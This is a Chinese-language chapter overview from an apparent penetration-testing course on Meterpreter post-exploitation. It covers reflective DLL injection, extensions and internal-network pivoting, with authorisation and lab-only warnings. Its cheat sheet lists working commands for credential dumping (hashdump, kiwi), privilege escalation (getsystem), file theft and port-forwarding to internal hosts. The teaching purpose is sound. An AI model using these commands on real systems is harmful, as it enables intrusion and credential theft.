第4章 · Meterpreter 与后渗透


第 4 章 · Meterpreter 深度解析

章节摘要:SOURCE 第四章:反射式 DLL 注入、内存驻留、扩展库(kiwi/mimikatz 等)、内网路由。

学习目标

  1. 理解 Meterpreter 的反射式 DLL 注入原理与"无文件"特性
  2. 掌握 TLV 通信协议与动态扩展加载机制
  3. 会用 Meterpreter 核心命令完成文件、进程、凭据、网络操作
  4. 会配置 autoroute / SOCKS / portfwd 实现内网穿透

本章定位

第 3 章拿到的会话,在这里被放大成"后渗透操作系统"。Meterpreter 不是普通 shell:它驻留内存、加密通信、按需加载扩展,把一次简单的代码执行升级为对目标系统的深度控制。蓝队视角下,理解它的机制就是理解现代恶意软件的设计范式。

技术主线

本章三节分别对应三条主线:

主线 章节 核心内容
怎么存在 4.1 反射式注入、TLV 协议、传输层生存
能干什么 4.2 文件/进程/注册表/凭据/嗅探/端口转发
怎么扩张 4.3 autoroute、SOCKS、portfwd、纵向移动

本章关键命令速查

# 进入会话后的常用命令 sessions -i 1 getuid sysinfo migrate -N explorer.exe ps upload /tmp/tool.exe C:\\Windows\\Temp\\ download C:\\Users\\admin\\secret.txt load kiwi creds_msv hashdump getsystem run autoroute -s 10.10.10.0/24 portfwd add -L 127.0.0.1 -l 33890 -r 10.10.10.5 -p 3389 ​

各节内容导读

  • 4.1 Meterpreter 核心原理:反射型 DLL 注入如何在内存中自加载、TLV 类型-长度-值协议、TCP/HTTP/SMB 多传输层与动态切换
  • 4.2 核心功能模块:stdapi/priv/kiwi 扩展体系、Timestomp 反取证、getsystem 提权、Incognito 令牌窃取、端口转发
  • 4.3 内网穿透与纵向移动:动态路由(autoroute)、SOCKS 代理链、端口转发,以及"以 session 为跳板"的渗透思维

安全边界

⚠️ 本章内容的法律前提: 1. 目标系统必须有书面授权 2. 所有实验在隔离 lab / CTF 环境进行 3. 凭据操作(kiwi/hashdump)仅用于授权验证 4. 严禁对生产环境做注入与凭据实验 ​

Meterpreter 的能力越强,越需要纪律约束。本章展示的是"机制理解"与"授权验证",不是攻击技巧汇编。

知识关联

概念 出现在 4.x 前置知识
内存执行哲学 4.1 1.2 设计哲学
扩展加载 4.2 2.2 模块分类
会话作为枢纽 4.3 3.3 会话管理
免杀对抗 4.1/4.2 5.3 静态免杀

⚠️ 合规提醒:load kiwi、hashdump、getsystem 等命令都会在目标上留下明显的安全事件痕迹,未授权执行即构成违法。

💡 学习提示:本章建议在完整 lab 环境(一台 Kali + 一台 Windows 靶机)中边读边敲。原理段落读不懂可以先跳,但命令必须亲手跑通。

子章节

  • 4.1 Meterpreter 核心原理
  • 4.2 核心功能模块
  • 4.3 内网穿透与纵向移动
作者与出处
原作者:灏天文库
来源:平台策划编纂
整理人: 灏天文库整理
由灏天文库平台收录,内容或由平台用户上传,仅供学习交流
发布者: 作者: 灏天文库 转发
评论区 (0)
U